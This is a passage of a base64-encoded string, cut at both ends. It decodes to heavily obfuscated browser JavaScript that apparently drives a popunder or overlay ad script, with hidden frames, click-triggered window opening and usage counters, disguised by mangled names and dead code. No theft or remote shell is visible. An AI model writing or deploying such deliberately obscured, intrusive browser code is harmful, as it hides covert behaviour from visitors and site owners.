pcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk